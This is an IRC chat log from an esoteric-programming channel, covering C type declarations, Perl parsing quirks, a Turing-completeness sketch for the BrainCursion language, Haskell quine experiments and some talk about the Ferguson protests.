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00:35:15 <HackEgo> pbflist: shachaf Sgeo quintopia ion
00:35:36 <shachaf> the deluxe subscribers have already been notified, naturally
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01:13:44 <quintopia> why couldn't a whistle and a bassoon get along harmoniously?
01:15:37 <Bike> historical racial attitudes formerly encouraged by a colonial power for the sake of simplifying their hegemony
01:17:03 <pikhq> Jesus christ this city's going insane.
01:21:37 <quintopia> insane! this city's going jesus christ
01:23:32 <pikhq> Oh, sure. St Louis is on its third day of riots triggered by a police officer shooting a black kid in the back.
01:23:51 <elliott> oh. I had no idea where you lived.
01:23:54 <elliott> I thought you were in colorado.
01:23:59 <pikhq> I moved a year ago.
01:24:35 <pikhq> But yeah. I swear, did someone open a portal to 1965 or something?
01:24:44 <elliott> daresay the shooting is more the thing than the protests
01:25:06 <pikhq> The police response to the protests is also quite 1965 though.
01:25:21 <pikhq> I was unaware that sniper rifles had a significant role in crowd control.
01:25:30 <pikhq> Nor that media blackouts or no fly zones did.
01:25:47 <pikhq> Apparently. Non-lethal rounds are designed for shotguns.
01:26:19 <Bike> sheesh, i've only been hearing about ferguson, it's extended to saint louis?
01:26:34 <pikhq> Ferguson is essentially Saint Louis.
01:26:35 <elliott> you know that cops shooting black kids is nothing really new or particularly 60s, right
01:27:00 <pikhq> elliott: Particular details are most similar to that period though.
01:27:02 <Bike> elliott: the 1960s is the usual go-to for violent responses to protests, possibly most famously at kentucky U.
01:27:18 <Bike> in united states culture, i mean.
01:28:08 <Bike> anyway how do i pre declare types in C or something. i have typedef struct cons { ... obj *car, *cdr; } cons; and then later typedef union obj { ... cons cons; } essentially
01:28:43 <elliott> Bike: yeah I just mean, the US does not really seem to be massively outside the status quo in any way here, sad as that is
01:29:05 <elliott> typedef struct cons cons; ... struct cons { ... }
01:29:07 <Bike> the problem is with obj, gcc doesn't know what an obj is yet
01:29:45 <Bike> ok. this syntax seems weird
01:29:54 <Bike> also weird is i realized i haven't heard any comparisons to rodney king yet
01:29:55 <elliott> it's quite simple really, though it is weird
01:30:05 <elliott> (struct TAG) and (enum TAG) are types defined by struct TAG { ... } and enum TAG { ... }
01:30:24 <elliott> (they jsut specify what that type is)
01:30:32 <elliott> you can refer to them before they're defined
01:30:43 <elliott> "typedef type typename;" makes typename an alias for type
01:31:37 <elliott> so typedef struct { ... } foo; works because it's making foo an alias for the anonymous struct type (struct { ... }). typedef struct tag1 { ... } tag2; is the same except the type is now a named struct, and it defines (struct tag1) to be that struct
01:31:39 <pikhq> Ooooohhhh goody. We've got militia nuts walking in now.
01:32:00 <pikhq> Maybe now the police's "equipped for invading Iran" stance makes sense.
01:32:05 <Bike> guns will solve this problem
01:32:15 <Bike> elliott: i'd kind of guessed that, but it's just... i dunno. weird
01:32:18 <pikhq> Guns solve all problems!
01:32:31 <elliott> it's a fairly orthogonal, weird part of the language. like most of C.
01:32:37 <Bike> in happier news, did you hear that the first woman to win a fields medal has been erased, as well as the first iranian
01:32:44 <pikhq> (FWIW I'm actually quite a ways away from the neighborhood where this is all going on, I'm just going "oh fucks' sake" at it)
01:33:05 <Bike> as usual i don't understand a thing she does
01:33:12 <elliott> Bike: our shadowy agenda is doing well. have you edited her out of all the photos yet
01:33:36 <Bike> her name is "Mirzakhani" which is just incredible sounding
01:33:40 <Bike> can't erase that
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01:34:02 <elliott> I can erase my being awake. bye
01:34:50 <quintopia> this is a bad year for violence eh
01:43:17 <Bike> now when i have "obj data[1];" in a struct i'm told that's incomplete
01:49:35 <zzo38> The type does have to be defined before it is used in that way, so make sure "obj" is defined.
01:49:35 <shachaf> Bike: You need to define obj before actually using it like that, presumably.
01:49:53 <shachaf> A pointer to obj is fine, but if you have an actual obj you need to know much memory it'll take.
01:50:12 <zzo38> (That is, define the actual structure, so that the size is known.)
01:50:31 <Bike> but it's a union i define after this struct because it includes that struct! argh
01:50:52 <zzo38> Then it would take an infinite amount of memory and it won't work
01:51:15 <zzo38> Since that code allocates one "obj" cell.
01:51:31 <shachaf> union obj; struct cons { struct obj *car, *cdr }; union obj { cons cons; };
01:53:23 <zzo38> If obj then also allocates data of type of this structure, then how can you know the proper amount of memory? It doesn't work!
01:53:56 <shachaf> "struct cons cons;", rather
01:54:10 <Bike> pointers work, not an array though
01:55:31 <shachaf> yes, because for an array you need to know what size it is
01:55:34 <Bike> oh ok the code i'm going off of has an array of union*, not union
01:55:39 <shachaf> what are you trying to do here
01:55:45 <Bike> that makes sense then
01:55:57 <shachaf> http://spl.smugmug.com/Humor/Lambdacats/i-XwKHSBM/2/O/boxed%20cat%20has%20a%20uniform%20representation.jpg
01:56:04 <Bike> indeed, there i go.
01:56:35 <zzo38> An array allocates the memory for its contents; declaring a pointer does not, it allocates memory for the address instead.
02:07:43 <Bike> right, yeah, i get what you're saying but i thought the code (which i know works) was doing an array anyway, so i was confused.
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03:27:00 <Bike> Can you declare multiple functions in one line? Like "void foo, bar(void);" say. that sounds amusing.
03:28:10 <shachaf> do you mean void foo(void), bar(void);
03:28:40 <shachaf> function declaration syntax is not different from variable declaration syntax
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03:29:23 <BlueProtoman> I know there's a whole community for esoteric programming languages...but is there one for esoteric file formats and/or protocols?
03:30:57 <Bike> shachaf: boring
03:32:17 <shachaf> BlueProtoman: whoa is your nick a split infinity thing
03:33:14 <shachaf> Bike: do you know the thing where you can call a function with (********f)(...)
03:33:41 <Bike> um, if you mean names referring to function pointers, yeah.
03:34:02 <shachaf> functions are distinct from function pointers
03:34:21 <shachaf> for example you can't take the sizeof a function
03:34:30 <Bike> hatred of C growing
03:34:38 <Bike> BlueProtoman: file formats have even more of a tendency to be undocumented crap than programming languages, so why bother
03:37:52 <BlueProtoman> Bike: It's not about being undocumented, it's about intentionally being weird
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03:38:20 <Bike> "crap", i said
03:38:34 <Bike> like, i know, let me find an example i ran into a few weeks ago
03:39:33 <Bike> http://en.wikipedia.org/wiki/Health_Level_7 pretty much all of these
03:40:08 <Bike> http://en.wikipedia.org/wiki/Arden_syntax#Arden_Syntax_Example this MLM is an example for reading data and writing a message;;
04:07:02 <Bike> https://github.com/PCSX2/pcsx2/pull/212/files#diff-9222e0f7e94c703c713184a57132c5fbL1183 i'm afraid
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05:23:56 <fizzie> The (*********f)() thing works because "[except sizeof, _Alignof, unary &] a function designator [expression with function type] with type 'function returning /type/' is converted to an expression that has type 'pointer to function returning /type/'."
05:24:00 <fizzie> So "f" has function type, but it's not one of the exceptions so it's converted to a pointer; "*f" again has function type, but it's still not one of the exceptions so ...; and so on up to (********f) which is also converted to a pointer to function, and used in a function call.
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05:33:07 <fizzie> Referring back to backlog, you can't refer to an enum with "enum foo" before declaring its constants.
05:33:09 <fizzie> Except as a GCC extension.
05:33:10 <fizzie> The rule that allows "typedef struct s s; struct s { ... };" is specific to structs and unions.
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07:33:21 <coppro> http://xkcd.com/1407/ I feel like there ought to be a bit with "no survivors" in it
07:49:58 <scoofy> there's always some survivors
07:50:57 <shachaf> presumably if there are no survivors from one hurricane then people in that area would remember a different one
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08:01:28 <FireFly> Now I'm wondering what the sweet spot of survival rate is for a hurricane to be remembered as the worst one
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08:46:32 <oerjan> <quintopia> this is a bad year for violence eh <-- no it's a good year for violence. it's a bad year for the victims.
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10:10:44 <HackEgo> olist (960): shachaf oerjan Sgeo FireFly boily nortti
10:13:07 <shachaf> do you use rss or something fancy like that
10:13:22 <shachaf> you're not on olist yourself
10:13:45 <fizzie> I just do it as a public service; I'm using Feedly to feed myself.
10:14:10 <shachaf> isn't it annoying how you don't get the image embedded in the oots rss feed
10:14:55 <boily> that way you can't miss it.
10:15:06 <shachaf> someone told it was so i made an rss feed that has an image embedded
10:15:39 <fizzie> It's not *that* annoying. Though I do miss my previous RSS reader that you could configure (per feed) to "instead of showing the message, show the linked page".
10:16:04 <shachaf> i also made one for smbc-comics.com that shows the "votey" picture
10:16:18 <fizzie> There are a number of comics where the RSS feed is image-less, presumably due to ad reasons?
10:16:39 <shachaf> olist doesn't have ads on the comic page
10:16:48 <shachaf> i don't actually use rss myself, anyway
10:17:36 <fizzie> I used to have a Perl script that watched non-RSS-enabled webcomics, extracted the image (and possibly some metadata like titles or whatnot) and made a composite feed.
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13:27:11 <fizzie> Fun perl fact: "1 + rand" is not the same at all as "rand + 1".
13:31:19 <Deewiant> Warning: Use of "rand" without parentheses is ambiguous
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13:33:15 <fizzie> Oh, there's a warning. Handy.
13:33:33 <fizzie> (I didn't try this fact, I just picked it from #perl.)
13:34:36 <int-e> `` perl -e 'print rand+1," ",1+rand'
13:34:37 <HackEgo> Warning: Use of "rand" without parentheses is ambiguous at -e line 1. \ 0.504177718962641 1.73521801721969
13:35:17 <fizzie> It gets parsed as rand(+1).
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14:16:07 <elliott> fizzie: doesn't that apply to anything with a prototype or whatever?
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14:35:45 <elliott> fizzie: I meant union, not enum, yeah, sorry
14:35:51 <elliott> though I didn't know you can't actually do that
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19:51:49 <quintopia> hi TieSoul what are you working on today
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21:15:08 <fizzie> Freenode's a-breaking.
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22:49:48 <Sgeo> Why did HackEgo not ping me?
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22:50:08 <Sgeo> My name's there, Quassel just decided it wasn't a ping
22:50:12 <Sgeo> Unless it was before I left?
22:51:04 <boily> it's still alive, fsvo alive.
22:51:51 <oerjan> i assume he's referring to the `olist
22:52:29 <oerjan> does it ping you when i say Sgeo like this
22:52:53 <lambdabot> CYUL 132200Z 13014KT 8SM -RA SCT006 OVC045 18/18 A2968 RMK SF3SC5 SLP052 DENSITY ALT 800FT
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23:11:30 <lambdabot> EFHK 132250Z 24018KT 8000 TSRA SCT010 BKN030CB 13/11 Q1008 TEMPO 6000
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01:43:01 <coppro> it is an exciting day!
01:43:09 <coppro> everything here is doing something more exciting than chatting here
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03:51:19 <coppro> i dunno, go watch people play video games
03:51:37 <zzo38> Or, to play the game by yourself
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06:26:14 <Sgeo> Python is heading towards static type checking?
06:26:57 <Sgeo> Oh, not part of CPython
06:28:53 <Sgeo> https://mail.python.org/pipermail/python-ideas/2014-August/028618.html
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07:22:01 <HackEgo> [wiki] [[Brainfuck implementations]] http://esolangs.org/w/index.php?diff=40283&oldid=40005 * Rdebath * (+39) /* Optimizing implementations */
07:45:48 <HackEgo> [wiki] [[Brainfuck implementations]] http://esolangs.org/w/index.php?diff=40284&oldid=40283 * 81.84.26.109 * (+132) Add my brainfuck interpreter
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08:23:52 <HackEgo> [wiki] [[Brainfuck constants]] M http://esolangs.org/w/index.php?diff=40285&oldid=38193 * Quintopia * (+7) /* Power Series */ punctuation
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08:52:43 <HackEgo> [wiki] [[User talk:Rdebath]] http://esolangs.org/w/index.php?diff=40286&oldid=40272 * Rdebath * (-9565) Delete sandbox
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13:14:27 <TieSoul> If anyone feels like decrypting some extremely obfuscated Ruby code, I made this https://gist.githubusercontent.com/TieSoul/08f0642d90b29310ba4e/raw/d9fab88899f7f4566d248ee17bcc46bd6bc59bb6/obf
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13:38:08 <nooodl> pff too many alphanumeric characters left in there
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13:39:06 <nooodl> any ruby program can be rewritten using only punctuation you know! like perl
13:44:22 <nooodl> jeez i don't remember where i read about this :(
13:45:23 <TieSoul> But can you see what it does? :P
13:45:31 <nooodl> this is related though http://shinh.skr.jp/obf/sym_poly_quine.txt
13:45:40 <nooodl> ruby-perl-js punctuation polyglot quine
13:50:23 <ais523> the hard part with that sort of quine is the first few characters
13:50:34 <ais523> after that it's not so bad
13:51:13 <ais523> it seems to exploit the fact that $_ is a valid variable name in all three languages
13:51:26 <ais523> possibly the only one that is, in fact
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13:55:59 <nooodl> !tell ais523 $__ $___ $____... are valid in all three as well
13:56:01 <EgoBot> ais523: $__: $___: $____...: are: valid: in: all: three: as: well:
13:56:15 <nooodl> @tell ais523 $__ $___ $____... are valid in all three as well
13:57:26 <fizzie> Heh, that !tell is the best.
13:59:33 <nooodl> i'm not sure what's going on there
14:00:20 <EgoBot> sh xargs printf "%s: "; sed 's/.*# *//g' interps/$1
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14:29:44 <TieSoul> I just spent the past, like, half-hour, dissecting my own obfuscated code :P
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14:33:16 <b_jonas> TieSoul: yeah, that happens
14:33:38 <b_jonas> it's better than spending hours to understnd your old non-obfuscated code
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14:37:14 <TieSoul> https://gist.githubusercontent.com/TieSoul/08f0642d90b29310ba4e/raw/d9fab88899f7f4566d248ee17bcc46bd6bc59bb6/obf First one to tell me what it does without running it wins :P
14:38:14 <TieSoul> https://gist.githubusercontent.com/TieSoul/7a66f3172198fdf7d57b/raw/f8f6a3abbe67166fffea1486be9e623abdacac26/obf.rb and here's another one :P
14:39:55 <TieSoul> it's ruby if you didn't notice
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15:13:55 <nooodl> http://bpaste.net/show/7xgBf3mI9Qvllwd7q6h6/ translates any ruby program into one using only punctuation
15:14:19 <nooodl> example output http://bpaste.net/show/EclHWAT4CWo5TSnPLR06/
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16:21:56 <TieSoul> There are ones in the output.
16:27:45 <TieSoul> also the output programs are much too large
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16:28:20 <TieSoul> and literally just copy the characters in the source
16:28:24 <fizzie> Well, for the record, there's https://github.com/alcuadrado/hieroglyphy for the corresponding JavaScript operation.
16:29:41 <TieSoul> also the ruby thing breaks
16:30:12 <TieSoul> I just fed it my SNUSP interpreter and the output program threw a syntax error.
16:59:01 <b_jonas> feed it to a BANCStar interpreter instead
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17:53:24 <mroman> Somebody mentioned BANCStar \o/
17:54:16 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: party: not found
17:54:52 <fizzie> fungot, where are you?
17:54:53 <fungot> fizzie: ergo the " stop fnord" criterion involved. both of those
17:55:08 <fungot> \o| c.c \o/ ಠ_ಠ \m/ \m/ \o_ c.c _o/ \m/ \m/ ಠ_ಠ \o/ c.c |o/
17:55:09 <myndzi> | c.c.c | ¯|¯⌠ `\o/´ | c.c.c | `\o/´ ¯|¯⌠ | c.c.c |
17:55:09 <myndzi> |\ c.c >\ |\| | /< c.c >\ | /^\|/^\ c.c /|
17:55:31 <fizzie> We don't party, we celebrate. It's more civilized.
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18:12:18 <HackEgo> [wiki] [[Special:Log/newusers]] create * AguedaKling * New user account
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18:20:10 <HackEgo> 1138) <shachaf> A Swede who was in #esoteric / Thought his rhymes were a little generic. / "I might use, in my prose, / ꙮs, / But my poetry's alphanumeric."
18:24:01 <TieSoul_> is the ꙮ supposed to be a rectangle? :P
18:25:26 <HackEgo> [U+A66E CYRILLIC LETTER MULTIOCULAR O]
18:25:54 <Bike> it rhymes, and if you assume the "cyrillic letter" bit isn't in, scans.
18:27:30 <TieSoul_> yeah, "I might use, in my prose, multiocular O's" does fit well.
18:28:24 <fizzie> It didn't render here either, but I deduced it was the multiocular O from the context.
18:28:39 <fizzie> The official mascot codepoint of #esoteric?
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18:37:16 <shachaf> i thought it was kmc's personal codepoint
18:44:17 <fizzie> http://sprunge.us/XeDO I guess so
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20:38:09 <HackEgo> [wiki] [[BrainCursion]] http://esolangs.org/w/index.php?diff=40287&oldid=23603 * Rdebath * (-95) The implementation and current definition are not TC, though, what is 'recursive' supposed to mean?
20:53:13 <fizzie> That doesn't show it "NOT Turing complete", it just discombobulates the reduction of brainfuck to BrainCursion.
20:54:58 <fizzie> Or at the very least it skips quite a lot of steps.
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21:03:20 <HackEgo> [wiki] [[BrainCursion]] http://esolangs.org/w/index.php?diff=40288&oldid=40287 * Fizzie * (+246) Proper proof/disproof of TC left as an exercise to next editor.
21:07:14 <HackEgo> [wiki] [[BrainCursion]] http://esolangs.org/w/index.php?diff=40289&oldid=40288 * Fizzie * (+50) /* Computational class */ Minor further clarification.
21:07:57 <fizzie> Er, that's not quite right, sorry about that.
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21:11:36 <int-e> Still, with conditional #(@...) and one loop (end the program with #%), this is quite obviously TC.
21:11:59 <HackEgo> [wiki] [[BrainCursion]] http://esolangs.org/w/index.php?diff=40290&oldid=40289 * Fizzie * (-4) /* Computational class */ I will never edit again this tired.
21:13:00 <fizzie> I even wrote "BrainCopter" there temporarily. Today has not been a good day.
21:13:10 <int-e> I want (#@...), of course.
21:14:06 <int-e> And... I should not use ( at all.
21:14:26 <fizzie> Yes. But you can use #@...) freely.
21:15:23 <fizzie> Perhaps that could be pointed out, I'm sure there's a sketch of a TC proof along those lines somewhere in the wiki.
21:16:25 <fizzie> I don't want to make any more edits, though; next time I'll call it BrunkSporsion or something. (I was so sure BrainCopter was an actual language, but apparently there's a limit even to BF derivatives.)
21:16:28 <nooodl> it's not really that obvious yet i don't think?
21:17:08 <fizzie> There are some languages with only the "entire program is one large loop" looping construct, and conditional execution inside.
21:17:16 <fizzie> Someone must've done the details for one of those.
21:17:53 <nooodl> yeah but to do pretty much anything inside that loop in brainfuck (e.g. so much as clear or move a cell!) you need nested loops
21:20:46 <int-e> nooodl: the basic pattern will be repeated blocks of #@...%)-, followed by #%. That gives you a goto program with 255 labels. You need some funny tricks to exploit the conditional in the '...' part, centered around @> following by some fixup code to realign the pointer.
21:21:17 <int-e> nooodl: of course there may well be something simpler.
21:21:42 <int-e> note that [-] becomes @-@-@-@-@-, so creating constants is not hard.
21:22:05 <int-e> I'm mixing up @ and # here.
21:22:16 <int-e> so I mean #> and #-#-#-#-#-.
21:22:47 <b_jonas> fizzie: there are even some without conditional execution inside and they still work
21:22:52 <b_jonas> you have to simulate conditionals
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21:24:06 <fizzie> Here's an arguably even simpler construction: use the first K cells of the tape to encode a "current state" value in a 1-in-K encoding, and write the entire program in the form >+<( >#@aaaa) >#@bbbb) >#@cccc) {...} <<< #%) you have K labels and no fancy code.
21:24:58 <int-e> fizzie: not quite, now you can only access a finite amount of memory.
21:25:18 <int-e> you need some trickery so the 'state' moves with the pointer
21:25:57 <fizzie> Mhm. Well, the "spec" doesn't mention whether the cells are bounded or not.
21:25:59 <int-e> (and that's why I wanted to use a single cell, which should be plenty to encode a universal machine, which is all we need)
21:26:34 <nooodl> i feel like this might be turing incomplete with bounded cells
21:27:11 <int-e> it's not essential that the state fits into a single cell either; you can interleave the "real" cells with blocks of zeros that are enough to hold a state.
21:27:33 <fizzie> I guess that works better, yes.
21:31:03 <fizzie> Anyway, #@...%)- blocks don't quite make a goto program with labels, because # will skip the @ and enter the block for any nonzero value, so it'd run all the blocks but one.
21:31:16 <fizzie> That's why I considered the 1-in-K version.
21:32:23 <int-e> #>#@...) looks like a viable alternative
21:32:48 <int-e> more precisely, #>#@ ... %)<
21:33:30 <fizzie> Wouldn't that still just skip both the > and @ for any nonzero state label?
21:33:41 <fizzie> And happily proceed down to ....
21:34:29 <int-e> Sigh. Ok, once more: #<>#@ ... %)<
21:34:45 <int-e> (testing a cell that is followed by a cell holding 0)
21:35:36 <fizzie> That seems reasonable. You can easily use only every third cell for real data, anyway.
21:38:44 <fizzie> I'll summarize this to the discussion page for someone to write it up.
21:50:05 <int-e> hmpf, the interpreter is an exe file.
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21:56:24 <HackEgo> [wiki] [[Talk:BrainCursion]] N http://esolangs.org/w/index.php?oldid=40291 * Fizzie * (+1096) Summarize interesting TC discussion on #esoteric.
21:56:46 <fizzie> Given my track record for today, that probably contains something badly enough wrong to set the server on fire.
21:57:25 <fizzie> Oh yes; #-#-#-... is not a zero idiom, since it will skip the -s if nonzero. I keep getting that the wrong way around.
21:58:49 <int-e> right. doesn't matter :)
22:01:12 <HackEgo> [wiki] [[Talk:BrainCursion]] http://esolangs.org/w/index.php?diff=40292&oldid=40291 * Fizzie * (+56) /* TC proof sketch */ Avoid a cell-zeroing idiom that's not.
22:01:23 <fizzie> Well, in the interests of correctness.
22:02:01 <oerjan> <fizzie> I don't want to make any more edits, though; next time I'll call it BrunkSporsion or something. (I was so sure BrainCopter was an actual language, but apparently there's a limit even to BF derivatives.) <-- um there is, except without the camelcase.
22:02:15 <fizzie> Yes, I found that out later.
22:02:42 <fizzie> (So I guess there's no limit to BF derivatives; all is well in the world.)
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22:10:39 <Taneb> It's weird hanging out with people who are into crypto, when I know next to nothing on the subject
22:11:16 <Taneb> Like, "Didn't that cypher have 56 bits of entropy" [raucous laughter]
22:11:27 <Taneb> Then there's me sat there not having a clue what's going on
22:14:47 <oerjan> reminds me of that joke about the guys numbering their jokes
22:16:09 <HackEgo> [wiki] [[Talk:BrainCursion]] http://esolangs.org/w/index.php?diff=40293&oldid=40292 * Fizzie * (+101) /* TC proof sketch */ I'm having a competition: how many bugs can you fit in a snippet this short.
22:16:19 <Taneb> But more that I feel like an outsider, like, I know some of the words but I don't get the jokes
22:16:28 <Taneb> Or know quite what's going on
22:16:45 <Phantom__Hoover> well the entropy joke seems fairly easy to reverse-engineer
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22:36:57 <HackEgo> [wiki] [[Talk:BrainCursion]] http://esolangs.org/w/index.php?diff=40294&oldid=40293 * Fizzie * (-36) /* TC proof sketch */ Actually, that was overcomplicated as anything; simplify a whole lot.
22:37:03 <fizzie> Now I'm really done with it.
22:40:01 <HackEgo> [wiki] [[Talk:BrainCursion]] http://esolangs.org/w/index.php?diff=40295&oldid=40294 * Fizzie * (+73) /* TC proof sketch */ Fix the halting test to conform to simplified form.
22:40:14 <fizzie> I need to wake up and go rent a car in four hours, why am I not stopping.
22:41:21 <int-e> great idea, rent a car while drunk with sleep
22:42:00 <fizzie> We've booked everything, that's the way it's gots to go.
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23:40:44 <int-e> @tell fizzie Here is a full reduction from brainfuck to BrainCursion: http://sprunge.us/TJPQ?py
23:45:19 <int-e> @tell fizzie (If cells are limited to 0..255, it will work for programs containing up to 127 loops.)
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00:10:00 <HackEgo> [wiki] [[BrainCursion]] http://esolangs.org/w/index.php?diff=40296&oldid=40290 * 212.95.7.162 * (+740) provide sufficient evidence for Turing completeness
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07:30:32 <HackEgo> [wiki] [[Brainfuck implementations]] http://esolangs.org/w/index.php?diff=40297&oldid=40284 * Rdebath * (+209) Scanned for deadlinks, not yet for resurrections.
07:45:49 <Deewiant> Phew, 85 hours of testing later it turns out that CCBI is dieharder-clean
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08:13:48 <oerjan> Deewiant: so ccbi is your recommended interpreter for hard crypto?
08:15:37 <Deewiant> I don't think diehard/er have anything to do with CSPRNGs
08:16:32 <Deewiant> Certainly a CSPRNG should pass but passing doesn't mean it's any good for crypto
08:16:56 <Deewiant> So no, not recommended for crypto, just recommended for randomness-heavy apps in general
08:18:42 <Deewiant> It's not like Befunge by itself is good for crypto anyway, you should define a crypto fingerprint
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08:40:15 <int-e> NTH_ -- nothing to hide, with a rot13 primitive.
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08:43:10 <Deewiant> int-e: There's no rule saying they have to be 4 characters
08:46:51 <int-e> hmm. according the the ISP there has been a ddos attack against the lambdabot host, that's a first. Not targeted though, I guess. "The rolling DDoS attack continues to impact several IP blocks in our NL location."
08:47:39 <int-e> Deewiant: nevertheless that seems to be the convention
08:47:54 <Deewiant> int-e: I wouldn't add a _ just for that
08:49:43 <Deewiant> Needs > 32-bit interpreter, not that that prevents making it
08:50:12 <Deewiant> Or you map it to the modulo 2^32 value, I guess
08:50:48 <oerjan> isn't that just dropping a letter
08:52:29 <oerjan> 's ok the C was sort of unnecessary
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12:19:48 <lambdabot> LOWI 151150Z VRB02KT 9999 -SHRA FEW015 SCT050 BKN060 16/11 Q1015 NOSIG
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13:00:34 <HackEgo> [wiki] [[AAAAAAAAAAAAAA!!!!]] http://esolangs.org/w/index.php?diff=40298&oldid=39091 * 184.7.83.126 * (+40)
13:03:05 <HackEgo> [wiki] [[AAAAAAAAAAAAAA!!!!]] http://esolangs.org/w/index.php?diff=40299&oldid=40298 * 184.7.83.126 * (+2)
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15:44:08 <lambdabot> KATL 151452Z 31003KT 10SM FEW045 SCT250 27/16 A3007 RMK AO2 SLP170 T02720161 51007
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16:19:58 <HackEgo> [wiki] [[SYCPOL]] http://esolangs.org/w/index.php?diff=40300&oldid=40225 * 109.240.133.80 * (+30)
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18:10:12 <tswett> So today I thought I'd come up with a way to calculate busy beaver numbers using programs shorter than the corresponding busy beaver programs.
18:10:24 <tswett> And I thought, "I've probably made a mistake somewhere."
18:10:43 <tswett> Of course, what I really should have been thinking was one letter different. "I've provably made a mistake somewhere."
18:11:00 <tswett> Anyway, the program would have been the following.
18:11:52 <tswett> 1. Generate all programs of length 1,000. 2. Run all of them simultaneously until N of them halt (where N, hard-coded into the program, is the number of programs of length 1,000 that halt). 3. Output the running time of the longest-running program.
18:12:40 <tswett> Of course, there's a problem with this program. And it's not that N is uncomputable.
18:13:13 <Bike> having to compute N beforehand seems like kind of a bummer
18:13:27 <bb010g> Oracle machines are expensive
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18:15:39 <tswett> A bummer, yeah, but the problem here is that N can't be written concisely enough to make the program shorter than the busy beaver.
18:16:07 <tswett> (N is perfectly computable. We just don't know which program to use to compute it.)
18:25:37 <tromp__> tswett: this is like the proof that the halting proability is incompressible
18:26:05 <tswett> Yeah, that pretty much is this proof.
18:26:36 <tswett> Suppose that the halting probability is compressible. Then you can use this construction to write a program busier than any busy beaver. Contradiction.
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18:37:12 <Melvar> Is there a way to get lambdabot to output the actual string?
18:38:17 <tswett> I don't know how to do it. But it's really easy.
18:38:52 <tswett> You just say '> [some function] (map toLower "TΤТ")'.
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18:39:27 <b_jonas> > var (map toLower "TΤТ") -- Melvar
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18:55:42 <fizzie> > text (map toLower "TΤТ") -- alternatively
18:56:32 <fizzie> Different routes, same destination.
18:56:39 <ion> > text "What's up, Doc?"
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19:06:48 <tswett> > let s = " in text $ \"> let s = \" ++ show s ++ s" in text $ "> let s = " ++ show s ++ s
19:06:50 <lambdabot> > let s = " in text $ \"> let s = \" ++ show s ++ s" in text $ "> let s = " ...
19:08:11 <tswett> > let s="in text$\">let s=\" ++show s++s"in text$"> let s="++show s++s
19:08:12 <lambdabot> > let s="in text$\">let s=\" ++show s++s"in text$">let s=" ++show s++s
19:08:27 <tswett> > let s="in text$\">let s=\"++show s++s"in text$"> let s="++show s++s
19:08:29 <lambdabot> > let s="in text$\">let s=\"++show s++s"in text$">let s="++show s++s
19:08:51 <tswett> > let s="in text$\"> let s=\"++show s++s"in text$"> let s="++show s++s
19:08:53 <lambdabot> > let s="in text$\"> let s=\"++show s++s"in text$"> let s="++show s++s
19:10:48 <zzo38> How to do in MediaWiki to tell to start a numbered list at something other than number 1, and/or to use other formats for list numbering?
19:11:35 <b_jonas> zzo38: try html tags like <ol><li>. mediawiki allows most of those.
19:12:10 <zzo38> Can it not be done using the # syntax?
19:12:14 <b_jonas> alternately make an indented list (preface lines with colon) and just write the numbers by hand
19:12:24 <b_jonas> I don't think it can be, but I'm not sure
19:17:41 <b_jonas> zzo38: see https://en.wikipedia.org/wiki/Help:List
19:19:53 <b_jonas> zzo38: in particular, see https://en.wikipedia.org/wiki/Help:List#Specifying_a_starting_value
19:28:31 <zzo38> O, so that's how you do it.
19:28:54 <zzo38> Well, I have already fixed a list on another wiki by using <ol> already though
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20:11:23 <FreeFull> tswett: What are you trying to do? Quine?
20:14:24 <fizzie> I don't think the last one was "trying" any more. Modulo the unavoidable space.
20:18:32 <bb010g> > show Devour ++ show 42
20:18:33 <ion> Hah, i like Devour.
20:18:41 <bb010g> > putStrLn $ show Devour ++ show 42
20:18:47 <Melvar> I just defined it with @let just now.
20:19:04 <bb010g> > text $ show Devour ++ show 42
20:19:06 <ion> > (showsPrec 5 42 . showsPrec 5 Devour . showsPrec 5 42) []
20:20:52 <Melvar> ion: What’s its canonical name btw?
20:22:25 <ion> What’s whose canonical name?
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20:23:09 <ion> Devour has a canonical name?
20:23:21 <bb010g> Melvar: Something to do with const ""?
20:23:44 <Melvar> Well, you said “Hah, i like Devour.” as though you knew it.
20:23:57 <bb010g> Hence why show Devour ++ whatever works, but shows composition fails
20:24:04 <Melvar> bb010g: instance Show Devour where showsPrec _ _ _ = ""
20:24:30 <bb010g> @pl showsPrec _ _ _ = ""
20:24:31 <lambdabot> showsPrec = const (const (const []))
20:24:47 <ion> melvar: I had not seen it before.
20:26:05 <Melvar> > ("foo", Devour, "bar")
20:36:10 <oerjan> @let data Chomp = Chomp; instance Show Chomp where showsPrec n _ s = drop n s
20:36:27 <lambdabot> (,[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2...
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20:37:17 <HackEgo> Mattry: ¡Bienvenido al centro internacional para el diseño y despliegue de lenguajes de programación esotéricos! Por desgracia, la mayoría de nosotros no hablamos español. Para obtener más información, echa un vistazo a nuestro wiki: http://esolangs.org/. (Para el otro tipo de esoterismo, prueba #esoteric en irc.dal.net.)
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20:38:31 <oerjan> darn i forgot to ask how they found us
20:39:09 <lambdabot> (Just ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3...
20:41:40 <ion> > (42, Zalgo, "chaos")
20:41:40 <oerjan> somehow my mind blanks on any data structures shown with intermediate precedence operator constructors
20:41:41 <lambdabot> (42,HE COMES,̫̣̳ͤ͋͛̈̑̌̅"̳̟̱̗̐̋̔̏̆͠c̐̏̂̈̔ͨ͑ẖ̱̰̂ạͫͧ͠ͅö̴͚͇͉̤̣̠̆̒s̭̜̙̩ͨ͡"̅͗͊ͩ...
20:43:09 <oerjan> @let data Rev = Rev; instance Show Rev where showsPrec _ _ = reverse
20:43:23 <oerjan> > (42, Rev, Zalgo, Chomp)
20:43:24 <lambdabot> Not in scope: data constructor ‘Chomp’
20:43:43 <ion> Sorry, i screwed up and had to @undefine once
20:44:20 <oerjan> > (42, Rev, Zalgo, Rev, "chaos")
20:44:22 <lambdabot> (42,̳̣̫̅̌̑̈͛͋ͤ,̅ͥ͂͟"͇̭̞ͧͩ͊͗̅c̩̙̜̭ͨ͡h̴̠̣̤͉͇͚̒̆̈ạͧͫ͠ͅô̰̱̱s͑ͨ̔̈̂̏̐"̗̱̟̳̆̏̔̋̐͠...
20:44:51 <oerjan> > map ((,) Rev) [1..10]
20:44:53 <lambdabot> [(,2),(,4),(,6),(,8),(,10)](,)9,(,)7,(,)5,(,)3,(,)1,
20:45:10 <oerjan> > map ((,) Rev) "scramble"
